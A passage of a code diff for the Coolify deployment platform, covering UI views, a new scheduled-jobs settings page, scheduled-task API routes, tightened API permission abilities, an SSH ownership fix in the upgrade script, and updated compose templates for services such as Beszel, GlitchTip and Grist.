"playwright": "^1.58.2" } -} \ No newline at end of file +} diff --git a/phpunit.xml b/phpunit.xml index 38adfdb6f..6716b6b84 100644 --- a/phpunit.xml +++ b/phpunit.xml @@ -7,17 +7,20 @@ ./tests/Feature + + ./tests/v4 + - - - - - - + + + + + + diff --git a/public/svgs/spacebot.png b/public/svgs/spacebot.png new file mode 100644 index 000000000..8ec1da702 Binary files /dev/null and b/public/svgs/spacebot.png differ diff --git a/public/svgs/sure.png b/public/svgs/sure.png new file mode 100644 index 000000000..7a0bb69c1 Binary files /dev/null and b/public/svgs/sure.png differ diff --git a/resources/views/auth/register.blade.php b/resources/views/auth/register.blade.php index 0cf1a2772..f7ab57a14 100644 --- a/resources/views/auth/register.blade.php +++ b/resources/views/auth/register.blade.php @@ -1,7 +1,9 @@ environment('local') ? $localValue : ''); +if (! function_exists('getOldOrLocal')) { + function getOldOrLocal($key, $localValue) + { + return old($key) != '' ? old($key) : (app()->environment('local') ? $localValue : ''); + } } $name = getOldOrLocal('name', 'test3 normal user'); diff --git a/resources/views/components/forms/datalist.blade.php b/resources/views/components/forms/datalist.blade.php index 1d9a3b263..a0ad099dc 100644 --- a/resources/views/components/forms/datalist.blade.php +++ b/resources/views/components/forms/datalist.blade.php @@ -99,8 +99,14 @@ {{-- Unified Input Container with Tags Inside --}}
diff --git a/resources/views/components/forms/input.blade.php b/resources/views/components/forms/input.blade.php index a329664a2..cf72dfbe9 100644 --- a/resources/views/components/forms/input.blade.php +++ b/resources/views/components/forms/input.blade.php @@ -25,7 +25,7 @@ class="flex absolute inset-y-0 right-0 items-center pr-2 cursor-pointer dark:hov {{-- Eye-off icon (shown when password is visible) --}} - diff --git a/resources/views/components/settings/navbar.blade.php b/resources/views/components/settings/navbar.blade.php index 10df20e03..565e485d0 100644 --- a/resources/views/components/settings/navbar.blade.php +++ b/resources/views/components/settings/navbar.blade.php @@ -19,6 +19,10 @@ href="{{ route('settings.oauth') }}"> OAuth + + Scheduled Jobs +
diff --git a/resources/views/errors/419.blade.php b/resources/views/errors/419.blade.php index e7cd3fc45..8569f4e22 100644 --- a/resources/views/errors/419.blade.php +++ b/resources/views/errors/419.blade.php @@ -3,15 +3,11 @@

419

This page is definitely old, not like you!

-

Sorry, we couldn't find the page you're looking - for. +

Your session has expired. Please log in again to continue.

- - Go back - - - Dashboard + + Back to Login Contact support diff --git a/resources/views/livewire/global-search.blade.php b/resources/views/livewire/global-search.blade.php index 27b8d2821..955533f28 100644 --- a/resources/views/livewire/global-search.blade.php +++ b/resources/views/livewire/global-search.blade.php @@ -699,15 +699,21 @@ class="text-xs font-semibold text-neutral-500 dark:text-neutral-400 uppercase tr class="search-result-item w-full text-left block px-4 py-3 hover:bg-warning-50 dark:hover:bg-warning-900/20 transition-colors focus:outline-none focus:bg-warning-100 dark:focus:bg-warning-900/30 border-transparent hover:border-warning-500 focus:border-warning-500">
-
- - - -
+ @if (! empty($item['logo'])) +
+ {{ $item['name'] }} +
+ @else +
+ + + +
+ @endif
@@ -808,15 +814,22 @@ class="shrink-0 h-5 w-5 text-neutral-300 dark:text-neutral-600 self-center" class="search-result-item w-full text-left block px-4 py-3 hover:bg-warning-50 dark:hover:bg-warning-900/20 transition-colors focus:outline-none focus:bg-warning-100 dark:focus:bg-warning-900/30 border-transparent hover:border-warning-500 focus:border-warning-500">
-
- - - -
+ +
@if ($view === 'normal')
@@ -61,31 +48,48 @@
Environment (secrets) variables for Production.
@forelse ($this->environmentVariables as $env) - + @empty
No environment variables found.
@endforelse + @if (($resource->type() === 'service' || $resource?->build_pack === 'dockercompose') && $this->hardcodedEnvironmentVariables->isNotEmpty()) + @foreach ($this->hardcodedEnvironmentVariables as $index => $env) + + @endforeach + @endif @if ($resource->type() === 'application' && $resource->environment_variables_preview->count() > 0 && $showPreview)

Preview Deployments Environment Variables

Environment (secrets) variables for Preview Deployments.
@foreach ($this->environmentVariablesPreview as $env) - + @endforeach + @if (($resource->type() === 'service' || $resource?->build_pack === 'dockercompose') && $this->hardcodedEnvironmentVariablesPreview->isNotEmpty()) + @foreach ($this->hardcodedEnvironmentVariablesPreview as $index => $env) + + @endforeach + @endif @endif @else
@can('manageEnvironment', $resource) + + Inline comments with space before # (e.g., KEY=value #comment) are stripped. + + @if ($showPreview) - + @endif Save All Environment Variables @@ -94,11 +98,10 @@ label="Production Environment Variables" disabled> @if ($showPreview) - + @endif @endcan
@endif -
+
\ No newline at end of file diff --git a/resources/views/livewire/project/shared/environment-variable/show-hardcoded.blade.php b/resources/views/livewire/project/shared/environment-variable/show-hardcoded.blade.php new file mode 100644 index 000000000..9158d127e --- /dev/null +++ b/resources/views/livewire/project/shared/environment-variable/show-hardcoded.blade.php @@ -0,0 +1,31 @@ +
+
+
+ + Hardcoded env + + @if($serviceName) + + Service: {{ $serviceName }} + + @endif +
+
+
+ + @if($value !== null && $value !== '') + + @else + + @endif +
+ @if($comment) + + @endif +
+
+
\ No newline at end of file diff --git a/resources/views/livewire/project/shared/environment-variable/show.blade.php b/resources/views/livewire/project/shared/environment-variable/show.blade.php index 68e1d7e7d..86faeeeb4 100644 --- a/resources/views/livewire/project/shared/environment-variable/show.blade.php +++ b/resources/views/livewire/project/shared/environment-variable/show.blade.php @@ -15,13 +15,21 @@ @can('delete', $this->env) @endcan
@can('update', $this->env) +
+
+ +
+ Update +
@if (!$is_redis_credential) @@ -32,28 +40,40 @@ - - - @else - @if ($isSharedVariable) + @if (!$isMagicVariable) + + @endif + @else + @if ($is_shared) + @else - @if (!$env->is_nixpacks) - - @endif - - @if (!$env->is_nixpacks) - - @if ($is_multiline === false) - + @if ($isSharedVariable) + @if (!$isMagicVariable) + + @endif + @else + @if (!$env->is_nixpacks) + + @endif + + @if (!$isMagicVariable) + @if (!$env->is_nixpacks) + + @if ($is_multiline === false) + + @endif + @endif @endif @endif @endif @@ -72,82 +92,95 @@ - - - @else - @if ($isSharedVariable) + @if (!$isMagicVariable) + + @endif + @else + @if ($is_shared) + @else - @if (!$env->is_nixpacks) + @if ($isSharedVariable) + @if (!$isMagicVariable) + + @endif + @else - @endif - - - @if ($is_multiline === false) - + + @if (!$isMagicVariable) + + @if ($is_multiline === false) + + @endif + @endif @endif @endif @endif @endif
+
+ +
@endcan @else @can('update', $this->env) @if ($isDisabled) +
+
+ + + @if ($is_shared) + + @endif +
+ @if (!$isMagicVariable) + + @endif +
+ @else +
+
+ @if ($is_multiline) + + + @else + + + @endif + @if ($is_shared) + + @endif +
+ +
+ @endif + @else +
- + @if ($is_shared) @endif
- @else -
- @if ($is_multiline) - - - @else - - - @endif - @if ($is_shared) - - @endif -
- @endif - @else -
- - - @if ($is_shared) - + @if (!$isMagicVariable) + @endif
@endcan @@ -162,28 +195,40 @@ - - - @else - @if ($isSharedVariable) + @if (!$isMagicVariable) + + @endif + @else + @if ($is_shared) + @else - @if (!$env->is_nixpacks) - - @endif - - @if (!$env->is_nixpacks) - - @if ($is_multiline === false) - + @if ($isSharedVariable) + @if (!$isMagicVariable) + + @endif + @else + @if (!$env->is_nixpacks) + + @endif + + @if (!$isMagicVariable) + @if (!$env->is_nixpacks) + + @if ($is_multiline === false) + + @endif + @endif @endif @endif @endif @@ -191,12 +236,13 @@ @endif
-
- @if ($isDisabled) + @if (!$isMagicVariable) +
+ @if ($isDisabled) Update Lock - Update Lock - - @endif -
+ @endif +
+ @endif
@else
@@ -224,27 +271,37 @@ - - - @else - @if ($isSharedVariable) + @if (!$isMagicVariable) + + @endif + @else + @if ($is_shared) + @else - @if (!$env->is_nixpacks) + @if ($isSharedVariable) + @if (!$isMagicVariable) + + @endif + @else - @endif - - - @if ($is_multiline === false) - + + @if (!$isMagicVariable) + + @if ($is_multiline === false) + + @endif + @endif @endif @endif @endif @@ -255,4 +312,4 @@ @endif -
+
\ No newline at end of file diff --git a/resources/views/livewire/project/shared/health-checks.blade.php b/resources/views/livewire/project/shared/health-checks.blade.php index 730353c87..8662b0b50 100644 --- a/resources/views/livewire/project/shared/health-checks.blade.php +++ b/resources/views/livewire/project/shared/health-checks.blade.php @@ -20,25 +20,51 @@

A custom health check has been detected. If you enable this health check, it will disable the custom one and use this instead.

@endif + + {{-- Healthcheck Type Selector --}}
- - - + + + - - - - - - - -
-
- -
+ + @if ($healthCheckType === 'http') + {{-- HTTP Healthcheck Fields --}} +
+ + + + + + + + + + + +
+
+ + +
+ @else + {{-- CMD Healthcheck Fields --}} + +

This command runs inside the container on every health check interval. Shell operators (;, |, &, $, >, <) are not allowed.

+
+
+ +
+ @endif + + {{-- Common timing fields (used by both types) --}}
@@ -49,4 +75,4 @@ label="Start Period (s)" required />
- \ No newline at end of file + diff --git a/resources/views/livewire/server/docker-cleanup.blade.php b/resources/views/livewire/server/docker-cleanup.blade.php index 251137fa7..2fd8fc2ab 100644 --- a/resources/views/livewire/server/docker-cleanup.blade.php +++ b/resources/views/livewire/server/docker-cleanup.blade.php @@ -27,6 +27,22 @@
Configure Docker cleanup settings for your server.
+ @if ($this->isCleanupStale) +
+ +

The last Docker cleanup ran {{ $this->lastExecutionTime ?? 'unknown time' }} ago, + which is longer than expected for the configured frequency.

+ @if (!$this->isSchedulerHealthy) +

The scheduled job manager appears to be inactive. This may indicate + a stale Redis lock is blocking all scheduled jobs.

+ @endif +

To resolve, run on your Coolify instance: + php artisan cleanup:redis --clear-locks +

+
+
+ @endif +

Cleanup Configuration

diff --git a/resources/views/livewire/settings/scheduled-jobs.blade.php b/resources/views/livewire/settings/scheduled-jobs.blade.php new file mode 100644 index 000000000..7c0db860f --- /dev/null +++ b/resources/views/livewire/settings/scheduled-jobs.blade.php @@ -0,0 +1,283 @@ +
+ + Scheduled Job Issues | Coolify + + +
+
+
+

Scheduled Job Issues

+ Refresh +
+
Shows failed executions, skipped jobs, and scheduler health.
+
+ + {{-- Tab Buttons --}} +
+
+ Failures ({{ $executions->count() }}) +
+
+ Scheduler Runs ({{ $managerRuns->count() }}) +
+
+ Skipped Jobs ({{ $skipTotalCount }}) +
+
+ + {{-- Executions Tab --}} +
+ {{-- Filters --}} +
+
+ + +
+
+ + +
+
+ +
+ + + + + + + + + + + + + @forelse($executions as $execution) + + + + + + + + + @empty + + + + @endforelse + +
TypeResourceServerStartedDurationMessage
+ @php + $typeLabel = match($execution['type']) { + 'backup' => 'Backup', + 'task' => 'Task', + 'cleanup' => 'Cleanup', + default => ucfirst($execution['type']), + }; + $typeBg = match($execution['type']) { + 'backup' => 'bg-blue-100 text-blue-800 dark:bg-blue-900/30 dark:text-blue-300', + 'task' => 'bg-purple-100 text-purple-800 dark:bg-purple-900/30 dark:text-purple-300', + 'cleanup' => 'bg-orange-100 text-orange-800 dark:bg-orange-900/30 dark:text-orange-300', + default => 'bg-gray-100 text-gray-800 dark:bg-gray-900/30 dark:text-gray-300', + }; + @endphp + + {{ $typeLabel }} + + + {{ $execution['resource_name'] }} + @if($execution['resource_type']) + ({{ $execution['resource_type'] }}) + @endif + {{ $execution['server_name'] }} + {{ $execution['created_at']->diffForHumans() }} + {{ $execution['created_at']->format('M d H:i') }} + + @if($execution['finished_at'] && $execution['created_at']) + {{ \Carbon\Carbon::parse($execution['created_at'])->diffInSeconds(\Carbon\Carbon::parse($execution['finished_at'])) }}s + @elseif($execution['status'] === 'running') + + @else + - + @endif + + {{ \Illuminate\Support\Str::limit($execution['message'], 80) }} +
+ No failures found for the selected filters. +
+
+
+ + {{-- Scheduler Runs Tab --}} +
+
Shows when the ScheduledJobManager executed. Gaps indicate lock conflicts or missed runs.
+
+ + + + + + + + + + + + @forelse($managerRuns as $run) + + + + + + + + @empty + + + + @endforelse + +
TimeEventDurationDispatchedSkipped
{{ $run['timestamp'] }}{{ $run['message'] }} + @if($run['duration_ms'] !== null) + {{ $run['duration_ms'] }}ms + @else + - + @endif + {{ $run['dispatched'] ?? '-' }} + @if(($run['skipped'] ?? 0) > 0) + {{ $run['skipped'] }} + @else + {{ $run['skipped'] ?? '-' }} + @endif +
+ No scheduler run logs found. Logs appear after the ScheduledJobManager runs. +
+
+
+ + {{-- Skipped Jobs Tab --}} +
+
Jobs that were not dispatched because conditions were not met.
+ @if($skipTotalCount > $skipDefaultTake) +
+ + + + + + + Page {{ $skipCurrentPage }} of {{ ceil($skipTotalCount / $skipDefaultTake) }} + + + + + + +
+ @endif +
+ + + + + + + + + + + @forelse($skipLogs as $skip) + + + + + + + @empty + + + + @endforelse + +
TimeTypeResourceReason
{{ $skip['timestamp'] }} + @php + $skipTypeBg = match($skip['type']) { + 'backup' => 'bg-blue-100 text-blue-800 dark:bg-blue-900/30 dark:text-blue-300', + 'task' => 'bg-purple-100 text-purple-800 dark:bg-purple-900/30 dark:text-purple-300', + 'docker_cleanup' => 'bg-orange-100 text-orange-800 dark:bg-orange-900/30 dark:text-orange-300', + default => 'bg-gray-100 text-gray-800 dark:bg-gray-900/30 dark:text-gray-300', + }; + @endphp + + {{ ucfirst(str_replace('_', ' ', $skip['type'])) }} + + + @if($skip['link'] ?? null) + + {{ $skip['resource_name'] }} + + @elseif($skip['resource_name'] ?? null) + {{ $skip['resource_name'] }} + @else + {{ $skip['context']['task_name'] ?? $skip['context']['server_name'] ?? 'Deleted' }} + @endif + + @php + $reasonLabel = match($skip['reason']) { + 'server_not_functional' => 'Server not functional', + 'subscription_unpaid' => 'Subscription unpaid', + 'database_deleted' => 'Database deleted', + 'server_deleted' => 'Server deleted', + 'resource_deleted' => 'Resource deleted', + 'application_not_running' => 'Application not running', + 'service_not_running' => 'Service not running', + default => ucfirst(str_replace('_', ' ', $skip['reason'])), + }; + $reasonBg = match($skip['reason']) { + 'server_not_functional', 'database_deleted', 'server_deleted', 'resource_deleted' => 'text-red-600 dark:text-red-400', + 'subscription_unpaid' => 'text-warning', + 'application_not_running', 'service_not_running' => 'text-orange-600 dark:text-orange-400', + default => '', + }; + @endphp + {{ $reasonLabel }} +
+ No skipped jobs found. This means all scheduled jobs passed their conditions. +
+
+
+
+
diff --git a/routes/api.php b/routes/api.php index 8ff1fd1cc..ffa4b29b9 100644 --- a/routes/api.php +++ b/routes/api.php @@ -9,6 +9,7 @@ use App\Http\Controllers\Api\OtherController; use App\Http\Controllers\Api\ProjectController; use App\Http\Controllers\Api\ResourcesController; +use App\Http\Controllers\Api\ScheduledTasksController; use App\Http\Controllers\Api\SecurityController; use App\Http\Controllers\Api\ServersController; use App\Http\Controllers\Api\ServicesController; @@ -54,7 +55,7 @@ Route::post('/projects/{uuid}/environments', [ProjectController::class, 'create_environment'])->middleware(['api.ability:write']); Route::delete('/projects/{uuid}/environments/{environment_name_or_uuid}', [ProjectController::class, 'delete_environment'])->middleware(['api.ability:write']); - Route::post('/projects', [ProjectController::class, 'create_project'])->middleware(['api.ability:read']); + Route::post('/projects', [ProjectController::class, 'create_project'])->middleware(['api.ability:write']); Route::patch('/projects/{uuid}', [ProjectController::class, 'update_project'])->middleware(['api.ability:write']); Route::delete('/projects/{uuid}', [ProjectController::class, 'delete_project'])->middleware(['api.ability:write']); @@ -85,7 +86,7 @@ Route::get('/servers/{uuid}/validate', [ServersController::class, 'validate_server'])->middleware(['api.ability:read']); - Route::post('/servers', [ServersController::class, 'create_server'])->middleware(['api.ability:read']); + Route::post('/servers', [ServersController::class, 'create_server'])->middleware(['api.ability:write']); Route::patch('/servers/{uuid}', [ServersController::class, 'update_server'])->middleware(['api.ability:write']); Route::delete('/servers/{uuid}', [ServersController::class, 'delete_server'])->middleware(['api.ability:write']); @@ -106,7 +107,7 @@ /** * @deprecated Use POST /api/v1/services instead. This endpoint creates a Service, not an Application and is a unstable duplicate of POST /api/v1/services. - */ + */ Route::post('/applications/dockercompose', [ApplicationsController::class, 'create_dockercompose_application'])->middleware(['api.ability:write']); Route::get('/applications/{uuid}', [ApplicationsController::class, 'application_by_uuid'])->middleware(['api.ability:read']); @@ -120,9 +121,9 @@ Route::delete('/applications/{uuid}/envs/{env_uuid}', [ApplicationsController::class, 'delete_env_by_uuid'])->middleware(['api.ability:write']); Route::get('/applications/{uuid}/logs', [ApplicationsController::class, 'logs_by_uuid'])->middleware(['api.ability:read']); - Route::match(['get', 'post'], '/applications/{uuid}/start', [ApplicationsController::class, 'action_deploy'])->middleware(['api.ability:write']); - Route::match(['get', 'post'], '/applications/{uuid}/restart', [ApplicationsController::class, 'action_restart'])->middleware(['api.ability:write']); - Route::match(['get', 'post'], '/applications/{uuid}/stop', [ApplicationsController::class, 'action_stop'])->middleware(['api.ability:write']); + Route::match(['get', 'post'], '/applications/{uuid}/start', [ApplicationsController::class, 'action_deploy'])->middleware(['api.ability:deploy']); + Route::match(['get', 'post'], '/applications/{uuid}/restart', [ApplicationsController::class, 'action_restart'])->middleware(['api.ability:deploy']); + Route::match(['get', 'post'], '/applications/{uuid}/stop', [ApplicationsController::class, 'action_stop'])->middleware(['api.ability:deploy']); Route::get('/github-apps', [GithubController::class, 'list_github_apps'])->middleware(['api.ability:read']); Route::post('/github-apps', [GithubController::class, 'create_github_app'])->middleware(['api.ability:write']); @@ -151,9 +152,9 @@ Route::delete('/databases/{uuid}/backups/{scheduled_backup_uuid}', [DatabasesController::class, 'delete_backup_by_uuid'])->middleware(['api.ability:write']); Route::delete('/databases/{uuid}/backups/{scheduled_backup_uuid}/executions/{execution_uuid}', [DatabasesController::class, 'delete_execution_by_uuid'])->middleware(['api.ability:write']); - Route::match(['get', 'post'], '/databases/{uuid}/start', [DatabasesController::class, 'action_deploy'])->middleware(['api.ability:write']); - Route::match(['get', 'post'], '/databases/{uuid}/restart', [DatabasesController::class, 'action_restart'])->middleware(['api.ability:write']); - Route::match(['get', 'post'], '/databases/{uuid}/stop', [DatabasesController::class, 'action_stop'])->middleware(['api.ability:write']); + Route::match(['get', 'post'], '/databases/{uuid}/start', [DatabasesController::class, 'action_deploy'])->middleware(['api.ability:deploy']); + Route::match(['get', 'post'], '/databases/{uuid}/restart', [DatabasesController::class, 'action_restart'])->middleware(['api.ability:deploy']); + Route::match(['get', 'post'], '/databases/{uuid}/stop', [DatabasesController::class, 'action_stop'])->middleware(['api.ability:deploy']); Route::get('/services', [ServicesController::class, 'services'])->middleware(['api.ability:read']); Route::post('/services', [ServicesController::class, 'create_service'])->middleware(['api.ability:write']); @@ -168,9 +169,21 @@ Route::patch('/services/{uuid}/envs', [ServicesController::class, 'update_env_by_uuid'])->middleware(['api.ability:write']); Route::delete('/services/{uuid}/envs/{env_uuid}', [ServicesController::class, 'delete_env_by_uuid'])->middleware(['api.ability:write']); - Route::match(['get', 'post'], '/services/{uuid}/start', [ServicesController::class, 'action_deploy'])->middleware(['api.ability:write']); - Route::match(['get', 'post'], '/services/{uuid}/restart', [ServicesController::class, 'action_restart'])->middleware(['api.ability:write']); - Route::match(['get', 'post'], '/services/{uuid}/stop', [ServicesController::class, 'action_stop'])->middleware(['api.ability:write']); + Route::match(['get', 'post'], '/services/{uuid}/start', [ServicesController::class, 'action_deploy'])->middleware(['api.ability:deploy']); + Route::match(['get', 'post'], '/services/{uuid}/restart', [ServicesController::class, 'action_restart'])->middleware(['api.ability:deploy']); + Route::match(['get', 'post'], '/services/{uuid}/stop', [ServicesController::class, 'action_stop'])->middleware(['api.ability:deploy']); + + Route::get('/applications/{uuid}/scheduled-tasks', [ScheduledTasksController::class, 'scheduled_tasks_by_application_uuid'])->middleware(['api.ability:read']); + Route::post('/applications/{uuid}/scheduled-tasks', [ScheduledTasksController::class, 'create_scheduled_task_by_application_uuid'])->middleware(['api.ability:write']); + Route::patch('/applications/{uuid}/scheduled-tasks/{task_uuid}', [ScheduledTasksController::class, 'update_scheduled_task_by_application_uuid'])->middleware(['api.ability:write']); + Route::delete('/applications/{uuid}/scheduled-tasks/{task_uuid}', [ScheduledTasksController::class, 'delete_scheduled_task_by_application_uuid'])->middleware(['api.ability:write']); + Route::get('/applications/{uuid}/scheduled-tasks/{task_uuid}/executions', [ScheduledTasksController::class, 'executions_by_application_uuid'])->middleware(['api.ability:read']); + + Route::get('/services/{uuid}/scheduled-tasks', [ScheduledTasksController::class, 'scheduled_tasks_by_service_uuid'])->middleware(['api.ability:read']); + Route::post('/services/{uuid}/scheduled-tasks', [ScheduledTasksController::class, 'create_scheduled_task_by_service_uuid'])->middleware(['api.ability:write']); + Route::patch('/services/{uuid}/scheduled-tasks/{task_uuid}', [ScheduledTasksController::class, 'update_scheduled_task_by_service_uuid'])->middleware(['api.ability:write']); + Route::delete('/services/{uuid}/scheduled-tasks/{task_uuid}', [ScheduledTasksController::class, 'delete_scheduled_task_by_service_uuid'])->middleware(['api.ability:write']); + Route::get('/services/{uuid}/scheduled-tasks/{task_uuid}/executions', [ScheduledTasksController::class, 'executions_by_service_uuid'])->middleware(['api.ability:read']); }); Route::group([ diff --git a/routes/web.php b/routes/web.php index e8c738b71..b6c6c95ce 100644 --- a/routes/web.php +++ b/routes/web.php @@ -62,6 +62,7 @@ use App\Livewire\Server\Swarm as ServerSwarm; use App\Livewire\Settings\Advanced as SettingsAdvanced; use App\Livewire\Settings\Index as SettingsIndex; +use App\Livewire\Settings\ScheduledJobs as SettingsScheduledJobs; use App\Livewire\Settings\Updates as SettingsUpdates; use App\Livewire\SettingsBackup; use App\Livewire\SettingsEmail; @@ -119,6 +120,7 @@ Route::get('/settings/backup', SettingsBackup::class)->name('settings.backup'); Route::get('/settings/email', SettingsEmail::class)->name('settings.email'); Route::get('/settings/oauth', SettingsOauth::class)->name('settings.oauth'); + Route::get('/settings/scheduled-jobs', SettingsScheduledJobs::class)->name('settings.scheduled-jobs'); Route::get('/profile', ProfileIndex::class)->name('profile'); diff --git a/scripts/upgrade.sh b/scripts/upgrade.sh index 648849d5c..f32db9b8d 100644 --- a/scripts/upgrade.sh +++ b/scripts/upgrade.sh @@ -141,6 +141,15 @@ else log "Network 'coolify' already exists" fi +# Fix SSH directory ownership if not owned by container user UID 9999 (fixes #6621) +# Only changes owner — preserves existing group to respect custom setups +SSH_OWNER=$(stat -c '%u' /data/coolify/ssh 2>/dev/null || echo "unknown") +if [ "$SSH_OWNER" != "9999" ]; then + log "Fixing SSH directory ownership (was owned by UID $SSH_OWNER)" + chown -R 9999 /data/coolify/ssh + chmod -R 700 /data/coolify/ssh +fi + # Check if Docker config file exists DOCKER_CONFIG_MOUNT="" if [ -f /root/.docker/config.json ]; then diff --git a/svgs/cells.svg b/svgs/cells.svg new file mode 100644 index 000000000..f82e53ec7 --- /dev/null +++ b/svgs/cells.svg @@ -0,0 +1,38 @@ + + + + + + + + + + diff --git a/templates/compose/beszel-agent.yaml b/templates/compose/beszel-agent.yaml index a318f4702..5d0b4fecc 100644 --- a/templates/compose/beszel-agent.yaml +++ b/templates/compose/beszel-agent.yaml @@ -6,13 +6,26 @@ services: beszel-agent: - image: 'henrygd/beszel-agent:0.16.1' # Released on 14 Nov 2025 + image: 'henrygd/beszel-agent:0.18.4' # Released on 21 Feb 2026 + network_mode: host # Network stats graphs won't work if agent cannot access host system network stack environment: + # Required - LISTEN=/beszel_socket/beszel.sock - - HUB_URL=${HUB_URL?} - - 'TOKEN=${TOKEN?}' - - 'KEY=${KEY?}' + - HUB_URL=$SERVICE_URL_BESZEL + - TOKEN=${TOKEN} # From hub token settings + - KEY=${KEY} # SSH public key(s) from hub + # Optional + - DISABLE_SSH=${DISABLE_SSH:-false} # Disable SSH + - LOG_LEVEL=${LOG_LEVEL:-warn} # Logging level + - SKIP_GPU=${SKIP_GPU:-false} # Skip GPU monitoring + - SYSTEM_NAME=${SYSTEM_NAME} # Custom system name volumes: - beszel_agent_data:/var/lib/beszel-agent - beszel_socket:/beszel_socket - '/var/run/docker.sock:/var/run/docker.sock:ro' + healthcheck: + test: ['CMD', '/agent', 'health'] + interval: 60s + timeout: 20s + retries: 10 + start_period: 5s \ No newline at end of file diff --git a/templates/compose/beszel.yaml b/templates/compose/beszel.yaml index cba11e4bb..bc68c1825 100644 --- a/templates/compose/beszel.yaml +++ b/templates/compose/beszel.yaml @@ -9,21 +9,41 @@ # Add the public Key in "Key" env variable and token in the "Token" variable below (These are obtained from Beszel UI) services: beszel: - image: 'henrygd/beszel:0.16.1' # Released on 14 Nov 2025 + image: 'henrygd/beszel:0.18.4' # Released on 21 Feb 2026 environment: - SERVICE_URL_BESZEL_8090 + - CONTAINER_DETAILS=${CONTAINER_DETAILS:-true} + - SHARE_ALL_SYSTEMS=${SHARE_ALL_SYSTEMS:-false} volumes: - 'beszel_data:/beszel_data' - 'beszel_socket:/beszel_socket' + healthcheck: + test: ['CMD', '/beszel', 'health', '--url', 'http://localhost:8090'] + interval: 30s + timeout: 20s + retries: 10 + start_period: 5s beszel-agent: - image: 'henrygd/beszel-agent:0.16.1' # Released on 14 Nov 2025 + image: 'henrygd/beszel-agent:0.18.4' # Released on 21 Feb 2026 + network_mode: host # Network stats graphs won't work if agent cannot access host system network stack environment: + # Required - LISTEN=/beszel_socket/beszel.sock - - HUB_URL=http://beszel:8090 - - 'TOKEN=${TOKEN}' - - 'KEY=${KEY}' + - HUB_URL=$SERVICE_URL_BESZEL + - TOKEN=${TOKEN} # From hub token settings + - KEY=${KEY} # SSH public key(s) from hub + # Optional + - DISABLE_SSH=${DISABLE_SSH:-false} # Disable SSH + - LOG_LEVEL=${LOG_LEVEL:-warn} # Logging level + - SKIP_GPU=${SKIP_GPU:-false} # Skip GPU monitoring + - SYSTEM_NAME=${SYSTEM_NAME} # Custom system name volumes: - beszel_agent_data:/var/lib/beszel-agent - beszel_socket:/beszel_socket - '/var/run/docker.sock:/var/run/docker.sock:ro' - + healthcheck: + test: ['CMD', '/agent', 'health'] + interval: 60s + timeout: 20s + retries: 10 + start_period: 5s \ No newline at end of file diff --git a/templates/compose/glitchtip.yaml b/templates/compose/glitchtip.yaml index 3e86d813a..5f239daee 100644 --- a/templates/compose/glitchtip.yaml +++ b/templates/compose/glitchtip.yaml @@ -1,9 +1,9 @@ # documentation: https://glitchtip.com -# slogan: GlitchTip is a self-hosted, open-source error tracking system. +# slogan: GlitchTip is a error tracking system. # category: monitoring -# tags: error, tracking, open-source, self-hosted, sentry +# tags: error, tracking, sentry # logo: svgs/glitchtip.png -# port: 8080 +# port: 8000 services: postgres: @@ -29,14 +29,14 @@ services: retries: 10 web: - image: glitchtip/glitchtip + image: glitchtip/glitchtip:6.0 depends_on: postgres: condition: service_healthy redis: condition: service_healthy environment: - - SERVICE_URL_GLITCHTIP_8080 + - SERVICE_URL_GLITCHTIP_8000 - DATABASE_URL=postgres://$SERVICE_USER_POSTGRESQL:$SERVICE_PASSWORD_POSTGRESQL@postgres:5432/${POSTGRESQL_DATABASE:-glitchtip} - SECRET_KEY=$SERVICE_BASE64_64_ENCRYPTION - EMAIL_URL=${EMAIL_URL:-consolemail://} @@ -53,7 +53,7 @@ services: retries: 10 worker: - image: glitchtip/glitchtip + image: glitchtip/glitchtip:6.0 command: ./bin/run-celery-with-beat.sh depends_on: postgres: @@ -77,7 +77,7 @@ services: retries: 10 migrate: - image: glitchtip/glitchtip + image: glitchtip/glitchtip:6.0 restart: "no" depends_on: postgres: diff --git a/templates/compose/grist.yaml b/templates/compose/grist.yaml index 89f1692b1..584d50872 100644 --- a/templates/compose/grist.yaml +++ b/templates/compose/grist.yaml @@ -3,16 +3,16 @@ # category: productivity # tags: lowcode, nocode, spreadsheet, database, relational # logo: svgs/grist.svg -# port: 443 +# port: 8484 services: grist: image: gristlabs/grist:latest environment: - - SERVICE_URL_GRIST_443 + - SERVICE_URL_GRIST_8484 - APP_HOME_URL=${SERVICE_URL_GRIST} - APP_DOC_URL=${SERVICE_URL_GRIST} - - GRIST_DOMAIN=${SERVICE_URL_GRIST} + - GRIST_DOMAIN=${SERVICE_FQDN_GRIST} - TZ=${TZ:-UTC} - GRIST_SUPPORT_ANON=${SUPPORT_ANON:-false} - GRIST_FORCE_LOGIN=${FORCE_LOGIN:-true} @@ -20,7 +20,7 @@ services: - GRIST_PAGE_TITLE_SUFFIX=${PAGE_TITLE_SUFFIX:- - Suffix} - GRIST_HIDE_UI_ELEMENTS=${HIDE_UI_ELEMENTS:-billing,sendToDrive,supportGrist,multiAccounts,tutorials} - GRIST_UI_FEATURES=${UI_FEATURES:-helpCenter,billing,templates,createSite,multiSite,sendToDrive,tutorials,supportGrist} - - GRIST_DEFAULT_EMAIL=${DEFAULT_EMAIL:-test@example.com} + - GRIST_DEFAULT_EMAIL=${DEFAULT_EMAIL:-?} - GRIST_ORG_IN_PATH=${ORG_IN_PATH:-true} - GRIST_OIDC_SP_HOST=${SERVICE_URL_GRIST} - GRIST_OIDC_IDP_SCOPES=${OIDC_IDP_SCOPES:-openid profile email} @@ -37,7 +37,7 @@ services: - TYPEORM_DATABASE=${POSTGRES_DATABASE:-grist-db} - TYPEORM_USERNAME=${SERVICE_USER_POSTGRES} - TYPEORM_PASSWORD=${SERVICE_PASSWORD_POSTGRES} - - TYPEORM_HOST=${TYPEORM_HOST} + - TYPEORM_HOST=${TYPEORM_HOST:-postgres} - TYPEORM_PORT=${TYPEORM_PORT:-5432} - TYPEORM_LOGGING=${TYPEORM_LOGGING:-false} - REDIS_URL=${REDIS_URL:-redis://redis:6379} diff --git a/templates/compose/maybe.yaml b/templates/compose/maybe.yaml index 27bcbc5a1..1cc738d7e 100644 --- a/templates/compose/maybe.yaml +++ b/templates/compose/maybe.yaml @@ -1,3 +1,4 @@ +# ignore: true # documentation: https://github.com/maybe-finance/maybe # slogan: Maybe, the OS for your personal finances. # category: productivity diff --git a/templates/compose/minio-community-edition.yaml b/templates/compose/minio-community-edition.yaml index 1143235e5..49a393624 100644 --- a/templates/compose/minio-community-edition.yaml +++ b/templates/compose/minio-community-edition.yaml @@ -1,3 +1,4 @@ +# ignore: true # documentation: 